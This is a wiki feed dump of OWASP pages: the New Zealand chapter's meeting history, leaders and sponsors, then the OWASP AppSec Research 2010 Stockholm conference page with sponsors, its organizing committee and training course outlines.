: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' &amp;quot;Fuzz the Web&amp;quot;&lt;br /&gt;
: '''Presented By:''' Dean Jerkovich, Security Analyst (ASB)&lt;br /&gt;
: '''Presentation:''' &amp;quot;Hacking The World With Flash Part #2: The Results&amp;quot;&lt;br /&gt;
: '''Presented By:''' Paul Crag, Principal Security Consultant (Security-Assessment.com)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 29th April 2008&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' &amp;quot;[https://www.owasp.org/index.php/Image:Hacking_The_World_With_Flash.ppt Hacking The World With Flash]&amp;quot;&lt;br /&gt;
: '''Presented By:''' Paul Craig, Principal Security Consultant (Security-Assessment.com)&lt;br /&gt;
: '''Presentation:''' &amp;quot;[https://www.owasp.org/index.php/Image:Web_spam_techniques.ppt Web Spam Techniques] - also available in [http://malerisch.net/docs/web_spam_techniques/web_spam_techniques.html HTML] format&amp;quot;&lt;br /&gt;
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-Assessment.com)&lt;br /&gt;
&lt;br /&gt;
; 21st February 2008&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]&lt;br /&gt;
: '''Locations:''' Auckland&lt;br /&gt;
: '''Presentation:''' &amp;quot;[http://www.owasp.org/index.php/Image:Xpath_Injection.ppt Xpath Injection - An Overview]&amp;quot;&lt;br /&gt;
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-assessment.com)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== '''2007''' ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- 2007 --&amp;gt;&lt;br /&gt;
; 5th December 2007&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]&lt;br /&gt;
: '''Locations:''' Auckland&lt;br /&gt;
: '''Presentation:''' &amp;quot;[http://malerisch.net/docs/ajax_security/Ajax_security.ppt Ajax Security]&amp;quot;&lt;br /&gt;
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-assessment.com)&lt;br /&gt;
: '''Presentation:''' &amp;quot;On the job browser exploitation&amp;quot;&lt;br /&gt;
: '''Presented By:''' Mark Piper, Senior Security Consultant (Security-assessment.com)&lt;br /&gt;
&lt;br /&gt;
; 22nd May 2007&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]&lt;br /&gt;
: '''Press Release:''' [http://www.vedaadvantage.com/vantage/news_in_brief_and_events/host_nz_owasp_meeting.aspx VedaAdvantage.com]&lt;br /&gt;
: '''Locations:''' Auckland&lt;br /&gt;
: '''Presentation:''' &amp;quot;OWASP in New Zealand&amp;quot;&lt;br /&gt;
: '''Presented By:''' Roberto Suggi Liverani / Antonio Spera&lt;br /&gt;
&lt;br /&gt;
; April 2007&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]&lt;br /&gt;
: '''Locations:''' Auckland&lt;br /&gt;
&lt;br /&gt;
; January 2007&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]&lt;br /&gt;
: '''Locations:''' Auckland&lt;br /&gt;
&lt;br /&gt;
== Activities == &lt;br /&gt;
&lt;br /&gt;
OWASP New Zealand members actively participate in various OWASP activities. The following are some recent activities undertaken by OWASP NZ members: &lt;br /&gt;
&lt;br /&gt;
* Kim Carter ran a [http://www.meetup.com/owaspnycmetro/events/228716474/ workshop] at the NYC chapter&lt;br /&gt;
* Kirk Jackson stepped up to replace Adrian Hayes for Wellington from New Zealand day 2016 onwards.&lt;br /&gt;
* Denis Andzakovic stepped up to replace Nick Freeman for Auckland in March 2014&lt;br /&gt;
* Kim Carter came on board to lead Christchurch from New Zealand Day 2013 onwards.&lt;br /&gt;
* Nick Freeman and Scott Bell have been appointed as the new leaders of the new OWASP New Zealand Chapter&lt;br /&gt;
* Roberto Suggi Liverani has resigned from his position as OWASP New Zealand Chapter Leader&lt;br /&gt;
* Roberto Suggi Liverani will be speaking at OWASP AppSec Asia 2009 conference&lt;br /&gt;
* Roberto Suggi Liverani and Nick Freeman will be speaking at Defcon 17&lt;br /&gt;
* OWASP NZ Day 2009 - [http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2009#tab=Presentations Presentations online]&lt;br /&gt;
* Roberto Suggi Liverani and Nick Freeman will be speaking at EUSecWest 09&lt;br /&gt;
* Brett Moore will be speaking at [http://www.owasp.org/index.php/OWASP_AU_Conference_2009 OWASP AU Conference] about &amp;quot;Vulnerabilities In Action&amp;quot;.&lt;br /&gt;
* Roberto Suggi Liverani contributed to the [http://www.owasp.org/index.php/OWASP_Testing_Project OWASP Testing Guide v3].&lt;br /&gt;
* Mark Piper took his &amp;quot;On the job browser exploitation&amp;quot; talk to the [http://www.owasp.org/index.php/OWASP_Australia_AppSec_2008_Conference OWASP_Australia_AppSec_2008_Conference].&lt;br /&gt;
* Rob Munro has been appointed as OWASP Evangelist&lt;br /&gt;
* OWASP NZ has audio/video conference capability between Auckland and Wellington&lt;br /&gt;
&lt;br /&gt;
== OWASP NZ Members == &lt;br /&gt;
&lt;br /&gt;
We are always looking for additional board members to evangelise the OWASP mission help with meetings, projects and initiatives as we all know it takes time/effort to run a chapter. Please contact us if you are interested to join the NZ OWASP board member or for any queries related to OWASP NZ.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;NZ Board Member (Leader - Auckland)&amp;lt;/b&amp;gt; [mailto:denis.andzakovic@owasp.org Denis Andzakovic]&lt;br /&gt;
*&amp;lt;b&amp;gt;NZ Board Member (Leader - Wellington)&amp;lt;/b&amp;gt; [mailto:kirk.jackson@owasp.org Kirk Jackson]&lt;br /&gt;
*&amp;lt;b&amp;gt;NZ Board Member (Leader - Christchurch)&amp;lt;/b&amp;gt; [mailto:kim.carter@owasp.org Kim Carter]  0274 622 607&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Chapter Sponsors ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.security-assessment.com https://www.owasp.org/images/a/a4/Security-assessment_com.jpeg]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.security-assessment.com www.security-assessment.com]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.touchpoint.co.nz https://www.owasp.org/images/d/d8/Touchpoint.jpg]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.touchpoint.co.nz www.touchpoint.co.nz]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://binarymist.io https://www.owasp.org/images/4/4c/BinaryMistLimited.png]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://binarymist.io binarymist.io]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_AppSec_Research_2010_-_Stockholm,_Sweden&amp;diff=232042</id>
		<title>OWASP AppSec Research 2010 - Stockholm, Sweden</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_AppSec_Research_2010_-_Stockholm,_Sweden&amp;diff=232042"/>
				<updated>2017-08-06T22:09:01Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__ &lt;br /&gt;
&lt;br /&gt;
==== Welcome  ====&lt;br /&gt;
&lt;br /&gt;
== Thank You!  ==&lt;br /&gt;
&lt;br /&gt;
Ladies and Gentlemen, &lt;br /&gt;
&lt;br /&gt;
June 21-24, 2010 ~275 appsec people met in beautiful Stockholm, Sweden. The OWASP chapters in [[Sweden]], [[Norway]], and [[Denmark]] together with Stockholm University hosted OWASP AppSec Research 2010. &lt;br /&gt;
&lt;br /&gt;
If you have any questions, please email the conference chair: john.wilander at owasp.org&lt;br /&gt;
&lt;br /&gt;
'''See you all at OWASP AppSec Research 2011 in Dublin, Ireland. Cheers!'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Stockholm old town small.jpg]] &lt;br /&gt;
&lt;br /&gt;
=== Sponsors  ===&lt;br /&gt;
&lt;br /&gt;
Diamond sponsor:&amp;lt;br&amp;gt; [[Image:AppSec Research 2010 Microsoft diamond sponsor.jpg]] &lt;br /&gt;
&lt;br /&gt;
Gold sponsors:&amp;lt;br&amp;gt; [[Image:Cybercom logo.png]] [[Image:Portwise logo.png]]&amp;lt;br&amp;gt; [[Image:Fortify logo AppSec Research 2010.png]] [[Image:Omegapoint logo.png]] &lt;br /&gt;
&lt;br /&gt;
Silver sponsors:&amp;lt;br&amp;gt; [[Image:Mnemonic logo.png]] [[Image:AppSec Research 2010 sponsor Nixu logo.jpg]] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.hps.se/ http://www.owasp.org/images/6/6f/Hps_logo.png] [[Image:AppSec Research 2010 sponsor F5 logo.jpg]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:AppSec Research 2010 sponsor Imperva logo.jpg]] [[Image:AppSec_Research_2010_sponsor_Promon_logo.jpg]]‎ &lt;br /&gt;
&lt;br /&gt;
Dinner Party sponsor:&amp;lt;br&amp;gt; [http://www.google.com/EngineeringEMEA http://www.owasp.org/images/thumb/8/86/AppSec_Research_2010_Google_20k_sponsor.jpg/150px-AppSec_Research_2010_Google_20k_sponsor.jpg]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lunch sponsors (1 taken, 1 open):&amp;lt;br&amp;gt; [[Image:IIS logo.png]] &lt;br /&gt;
&lt;br /&gt;
Coffee break sponsors (1 taken, 3 open):&amp;lt;br&amp;gt; [[Image:MyNethouse logo.png]] &lt;br /&gt;
&lt;br /&gt;
Media sponsors:&amp;lt;br&amp;gt; [[Image:AppSec Research 2010 Help Net Security sponsor.jpg]] &lt;br /&gt;
&lt;br /&gt;
Notepad sponsors:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:TrustwaveLogo.jpg|Trustwave - Notepad sponsor]]&lt;br /&gt;
&lt;br /&gt;
For full sponsoring program see the Sponsoring tab above.&lt;br /&gt;
&lt;br /&gt;
=== &amp;quot;AppSec Research&amp;quot;.equals(&amp;quot;AppSec Europe&amp;quot;)  ===&lt;br /&gt;
&lt;br /&gt;
This conference was formerly known as OWASP AppSec Europe. We have added 'Research' to highlight that we invite both industry and academia. All the regular AppSec Europe visitors and topics are welcome along with contributions from universities and research institutes. &lt;br /&gt;
&lt;br /&gt;
This simply is ''the'' European conference for anyone interested in or working with application security. Co-host 2010 was the [http://dsv.su.se/en/ Department of Computer and Systems Science] at Stockholm University, offering a great venue in the fabulous Aula Magna. &lt;br /&gt;
&lt;br /&gt;
=== Countdown Challenges -- Free Tickets to Win!  ===&lt;br /&gt;
&lt;br /&gt;
There was a challenge posted on the conference wiki page the 21st every month up until the event. The winner got free entrance to the conference.&lt;br /&gt;
&lt;br /&gt;
=== Organizing Committee  ===&lt;br /&gt;
&lt;br /&gt;
• John Wilander, chapter leader Sweden (chair)&amp;lt;br&amp;gt; • Mattias Bergling (vice chair)&amp;lt;br&amp;gt; • Alan Davidson, Stockholm University/Royal Institute of Technology (co-host)&amp;lt;br&amp;gt; • Ulf Munkedal, chapter leader Denmark&amp;lt;br&amp;gt; • Kåre Presttun, chapter leader Norway&amp;lt;br&amp;gt; • Stefan Pettersson (sponsoring coordinator)&amp;lt;br&amp;gt; • Carl-Johan Bostorp (schedule and event coordinator)&amp;lt;br&amp;gt; • Martin Holst Swende (coffee/lunch/dinner)&amp;lt;br&amp;gt; • Michael Boman (conference guide/attendee pack)&amp;lt;br&amp;gt; • Predrag Mitrovic, OWASP Sweden Board&amp;lt;br&amp;gt; • Kate Hartmann, OWASP&amp;lt;br&amp;gt; • Sebastien Deleersnyder, OWASP Board &lt;br /&gt;
&lt;br /&gt;
'''We sure hope you enjoyed Stockholm this year!'''&amp;lt;br&amp;gt; Regards, John Wilander &lt;br /&gt;
&lt;br /&gt;
==== June 21-22 (Training)  ====&lt;br /&gt;
&lt;br /&gt;
== Schedule  ==&lt;br /&gt;
10:30-10:50 Coffee break&amp;lt;br&amp;gt;&lt;br /&gt;
12:15-13:00 Lunch in the canteen&amp;lt;br&amp;gt;&lt;br /&gt;
15:00-15:20 Coffee break&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
17:00 End of training for the day&lt;br /&gt;
&lt;br /&gt;
18:00 Monday we'll just go somewhere to eat, Tuesday we have the official meet up at &amp;quot;Mosebacke&amp;quot;. Check the &amp;quot;Social Events&amp;quot; tab above.&lt;br /&gt;
&lt;br /&gt;
== Training Registration is closed  ==&lt;br /&gt;
&lt;br /&gt;
Application security training is given the first two days, '''June 21-22'''. The price was '''€990''' (~$1.350) for a two-day course. 65 people took the chance to learn from the best!&lt;br /&gt;
&lt;br /&gt;
=== Course 1: Threat Modeling and Architecture Review (two days)  ===&lt;br /&gt;
&lt;br /&gt;
[[Image:AppSec Research 2010 Pravir Chandra.jpg]] &lt;br /&gt;
&lt;br /&gt;
Pravir Chandra, Fortify Software &lt;br /&gt;
&lt;br /&gt;
'''Abstract''': Threat Modeling and Architecture Review are the cornerstones of a preventative approach to Application Security. By combining these topics into single comprehensive course attendees can get a complete understanding of how to understand the threat an application faces and how the application will handle those potential threats. This enables the risk to be accurately assessed and appropriate changes or mitigating controls recommended. From the course outline:&lt;br /&gt;
&lt;br /&gt;
1. Overview&lt;br /&gt;
* Scope and problem definition&lt;br /&gt;
* High‐level view of the overall process&lt;br /&gt;
* Core techniques&lt;br /&gt;
2. Threat assessment and modeling&lt;br /&gt;
* Overall threat modeling process&lt;br /&gt;
* Preparation and background information&lt;br /&gt;
* Capturing business and security goals&lt;br /&gt;
* Identify vulnerabilities and other risks&lt;br /&gt;
* Establish weighting and prioritization of risks&lt;br /&gt;
* Guard against risks with compensating controls&lt;br /&gt;
* EXERCISE  -  Threat model a real‐life problem&lt;br /&gt;
3. Architecture review techniques&lt;br /&gt;
* Authentication&lt;br /&gt;
* Authorization&lt;br /&gt;
* EXERCISE  - Apply the techniques from Authentication and Authorization&lt;br /&gt;
* Input validation&lt;br /&gt;
* Output encoding&lt;br /&gt;
* EXERCISE - Apply the techniques from Input Validation and Output Encoding&lt;br /&gt;
* Error handling&lt;br /&gt;
* Audit logging&lt;br /&gt;
* EXERCISE - Apply the techniques from Error Handling and Audit Logging&lt;br /&gt;
* Encryption&lt;br /&gt;
* Configuration management&lt;br /&gt;
* EXERCISE - Apply the techniques from Encryption and Configuration Management&lt;br /&gt;
4. Specifying security requirements&lt;br /&gt;
* Writing positive security requirements&lt;br /&gt;
* Deriving security requirements from functional requirements&lt;br /&gt;
* Thinking broadly about requirements coverage&lt;br /&gt;
* Balancing security requirements with functionality&lt;br /&gt;
&lt;br /&gt;
'''Trainer Bio''': Pravir Chandra is Director of Strategic Services at Fortify where he works with clients to build and optimize software security assurance programs. Pravir is widely recognized in the industry for his expertise in software security and code analysis, and also for his ability to apply technical knowledge strategically from a business perspective. His book, Network Security with OpenSSL is a popular reference on protecting software applications through cryptography and secure communications. His varied special project experience includes creating and leading the Open Software Assurance Maturity Model (OpenSAMM) project &lt;br /&gt;
&lt;br /&gt;
=== Course 2: Introduction to Malware Analysis (two days)  ===&lt;br /&gt;
&lt;br /&gt;
[[Image:AppSec Research 2010 Jason Geffner.jpg]] &lt;br /&gt;
&lt;br /&gt;
Jason Geffner, Next Generation Security Software (NGS), and Scott Lambert, Microsoft &lt;br /&gt;
&lt;br /&gt;
'''Abstract''': Security researchers are facing a growing problem in the complexity of malicious executables. While dynamic black-box automation tools exist to discover what malware will do on a given execution, it is often important for an analyst to know the full capabilities of a given malware sample. What port does it listen on? What password does it expect for backdoor access? What files will it write to? What will it do tomorrow that it didn't do today? This class will focus on teaching attendees the steps required to understand the functionality of given malware samples. This is a hands-on course. Attendees will work on real-world malware through a series of lab exercises designed to build their expertise in understanding the analysis process. &lt;br /&gt;
&lt;br /&gt;
Learning Objectives: &lt;br /&gt;
&lt;br /&gt;
*An understanding of how to use reverse engineering tools &lt;br /&gt;
*An understanding of low-level code and data flow &lt;br /&gt;
*PE File format &lt;br /&gt;
*x86 Assembly language &lt;br /&gt;
*API functions often used by malware &lt;br /&gt;
*Anti-analysis tricks and how to defeat them &lt;br /&gt;
*Exploits and Shellcode &lt;br /&gt;
*A methodology for analyzing malware with and without the use of specialized tools&lt;br /&gt;
&lt;br /&gt;
'''Trainer Bio''': Jason Geffner joined Next Generation Security Software Ltd. in June of 2007 as a Principal Security Consultant. Jason focuses on performing security reviews of source code and designs, reverse engineering software protection methods and DRM protection methods, deobfuscating and analyzing malware, penetration testing web applications and network infrastructures, and developing automated security analysis tools. &lt;br /&gt;
&lt;br /&gt;
=== Course 3: Building Secure Ajax and Web 2.0 Applications (two days)  ===&lt;br /&gt;
&lt;br /&gt;
[[Image:AppSec Research 2010 Dave Wichers.jpg]] &lt;br /&gt;
&lt;br /&gt;
Dave Wichers, Aspect Security &lt;br /&gt;
&lt;br /&gt;
'''Abstract''': Rich Internet applications using technologies like Ajax, Flash, ActiveX, and Java Applets require special attention to secure. This course addresses the special issues with this type of application development. Students will gain hands-on testing experience with freely available web application security test tools to find and diagnose such flaws and learn how to identify, fix, and avoid them in their own projects. In addition, Aspect’s engineers are leaders in the AppSec Community and will offer the students an amazing perspective.&lt;br /&gt;
&lt;br /&gt;
'''Trainer Bio''': Dave Wichers is a member of the OWASP Board and a coauthor, along with Jeff Williams, of all previous versions of the OWASP Top Ten. Dave is also the Chief Operating Officer of Aspect Security, a company that specializes in application security services. Mr. Wichers brings over twenty years of experience in the information security field. Prior to cofounding Aspect, he ran the Application Security Services Group at a large data center company, Exodus Communications. His current work involves helping customers, from small e-commerce sites to Fortune 500 corporations and the U.S. Government, secure their applications by providing application security design, architecture, and SDLC support services: including code review, application penetration testing, security policy development, security consulting services, and developer training. &lt;br /&gt;
&lt;br /&gt;
=== Course 4: Assessing and Exploiting Web Apps with Samurai-WTF (two days)  ===&lt;br /&gt;
&lt;br /&gt;
[[Image:AppSec Research 2010 Justin Searle.jpg]] &lt;br /&gt;
&lt;br /&gt;
Justin Searle, InGuardians &lt;br /&gt;
&lt;br /&gt;
'''Abstract''': This course will focus on using open source tools to perform web application assessments. The course will take attendees through the process of application assessment using the open source tools included in the Samurai Web Testing Framework Live CD (Samurai-WTF). Day one will take students through the steps and open source tools used to assess applications for vulnerabilities. Day two will focus on the exploitation of web app vulnerabilities, spending half the day on server side attacks and the other half of the day on client side attacks. The latest tools and techniques will be use throughout the course, including several tools developed by the trainers themselves. From the course outline:&lt;br /&gt;
&lt;br /&gt;
Samurai-WTF Project and Distribution (about, using ...)&amp;lt;br&amp;gt;&lt;br /&gt;
Web Application Assessment Methodology (pentest types, four step methodology ...)&amp;lt;br&amp;gt;&lt;br /&gt;
Step 1: Reconnaissance&lt;br /&gt;
* Overview of Web Application Recon&lt;br /&gt;
* Domain and IP Registration Databases  (Labs: whois)&lt;br /&gt;
* Google Hacking  (Labs: gooscan, gpscan)&lt;br /&gt;
* Social Networks  (Labs: Reconnoiter)&lt;br /&gt;
* DNS Interrogation  (Labs: host, dig, nslookup, fierce)&lt;br /&gt;
Step 2: Mapping&lt;br /&gt;
* Overview of Mapping&lt;br /&gt;
* Port Scanning and Fingerprinting  (Labs: nmap, zenmap, Yokoso!)&lt;br /&gt;
* Web Service Scanning  (Labs: Nikto)&lt;br /&gt;
* Spidering  (Labs: wget, curl, Paros, WebScarab, BurpSuite)&lt;br /&gt;
* Discovering &amp;quot;Non-Discoverable&amp;quot; URLs  (Labs: DirBuster)&lt;br /&gt;
Step 3: Discovery&lt;br /&gt;
* Using Built-in Tools  (Labs: Page Info, Error Console, DOM Inspector, View Source)&lt;br /&gt;
* Poking and Prodding  (Labs: Default User Agent, Cookie Editor, Tamper Data)&lt;br /&gt;
* Interception Proxies  (Labs: Paros, WebScarab, BurpSuite)&lt;br /&gt;
* Semi-Automated Discovery  (Labs: RatProxy)&lt;br /&gt;
* Automated Discovery  (Labs: Grendel-Scan, w3af)&lt;br /&gt;
* Information Discovery  (Labs: CeWL)&lt;br /&gt;
* Fuzzing  (Labs: JBroFuzz, BurpIntruder)&lt;br /&gt;
* Finding XSS  (Labs: TamperData, XSS-Me, BurpIntruder)&lt;br /&gt;
* Finding SQL Injection  (Labs: SQL Inject-Me, SQL Injection, BurpIntruder)&lt;br /&gt;
* Decompiling Flash Objects  (Labs: Flare)&lt;br /&gt;
Step 4: Exploitation&lt;br /&gt;
* Username Harvesting  (Labs: python)&lt;br /&gt;
* Brute Forcing Passwords  (Labs: python)&lt;br /&gt;
* Command Injection  (Labs: w3af)&lt;br /&gt;
* Exploiting SQL Injection  (Labs: SQLMap, SQLNinja, Laudanum)&lt;br /&gt;
* Exploiting XSS  (Labs: Durzosploit)&lt;br /&gt;
* Browser Exploitation  (Labs: BeEF, BrowserRider, Yokoso!)&lt;br /&gt;
* Advanced exploitation through tool integration (MSF + sqlninga/sqlmap/BeEF)&lt;br /&gt;
&lt;br /&gt;
'''Trainer Bio''': Justin Searle, a Senior Security Analyst with InGuardians, specializes in web application, network, and embedded penetration testing. Justin has presented at top security conferences including DEFCON, ToorCon, ShmooCon, and SANS. Justin has an MBA in International Technology and is CISSP and SANS GIAC-certified in incident handling and hacker techniques (GCIH) and intrusion analysis (GCIA). Justin is one of the founders and lead developers of Samurai-WTF. &lt;br /&gt;
&lt;br /&gt;
=== Course 5: Securing Web Services (two days)  ===&lt;br /&gt;
&lt;br /&gt;
[[Image:AppSec Research 2010 Jason Li.jpg]] &lt;br /&gt;
&lt;br /&gt;
Jason Li, Aspect Security &lt;br /&gt;
&lt;br /&gt;
'''Abstract''': Aspect Security offers this two day Securing Web Services course which focuses on the most important messages regarding the development of secure web services. This course helps developers understand the real risks associated with Security in Web Services and Service Oriented Architectures, what standard are available to help, and how to use the standards. The course includes a combination of lecture, demonstrations, and hands on testing designed to provide detailed guidance regarding the implementation of specific security principles and functions in web services.&lt;br /&gt;
&lt;br /&gt;
From the course outline:&lt;br /&gt;
&lt;br /&gt;
* Web Service and SOA Threat Model&lt;br /&gt;
* Data Formats: XML, JSON&lt;br /&gt;
* Protocols: SOAP, REST&lt;br /&gt;
* Overview of the Standards (WS-Security, SAML, XACML)&lt;br /&gt;
* Common Communications Vulnerabilities&lt;br /&gt;
* Using SSL for Simple Web Services&lt;br /&gt;
* XML Encryption&lt;br /&gt;
* XML Signature&lt;br /&gt;
* WS-Security&lt;br /&gt;
* How to Manage Web Service Identities&lt;br /&gt;
* Federated Identities&lt;br /&gt;
* Common Authentication Vulnerabilities&lt;br /&gt;
* WSDL Examples of Implementing WS-Security&lt;br /&gt;
* Common Access Control Vulnerabilities&lt;br /&gt;
* How to Validate Web Service Input (XML Schema, Business Logic Validation)&lt;br /&gt;
* Common XML Attacks (Recursion, References, Overflow, Transforms)&lt;br /&gt;
* State Management&lt;br /&gt;
* Using Interpreters Safely (SQL Injection, LDAP Injection, Command Injection, XPath Injection)&lt;br /&gt;
* Denial of Service and Availability&lt;br /&gt;
&lt;br /&gt;
'''Trainer Bio''': Jason Li is a Senior Application Security Engineer for Aspect Security where he performs application security assessments and architecture reviews, as well as application security training, to a wide variety of financial and government customers. Jason is an active OWASP leader, contributing to several OWASP projects and serving on the OWASP Global Projects Committee. He holds a Post-Masters certificate in Computer Science and concentration in Information Security from Johns Hopkins University and a Masters degree in Computer Science from Cornell University. &lt;br /&gt;
&lt;br /&gt;
==== June 23  ====&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;width: 80%;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;4&amp;quot; style=&amp;quot;background: none repeat scroll 0% 0% rgb(64, 88, 160); color: white;&amp;quot; | '''Conference Day 1 - June 23, 2010''' &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Research R.gif]] = Research paper [[Image:OWASP AppSec Research 2010 Demo D.gif]] = Demo [[Image:OWASP AppSec Research 2010 Presentation P.gif]] = Presentation &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;lt;br&amp;gt; &lt;br /&gt;
| style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | Track 1 &lt;br /&gt;
| style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | Track 2 &lt;br /&gt;
| style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);&amp;quot; | Track 3&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 08:00-08:50 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | Registration and Breakfast + Coffee&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 08:50-09:00 &lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(242, 242, 242);&amp;quot; | Welcome to OWASP AppSec Research 2010 Conference (John Wilander &amp;amp;amp; [http://www.owasp.org/index.php/About_OWASP OWASP Global Board Members]) ([[Media:OWASP_AppSec_Research_2010_Opening_Talk_by_Wilander.pdf|pdf]])&lt;br /&gt;
|-&lt;br /&gt;
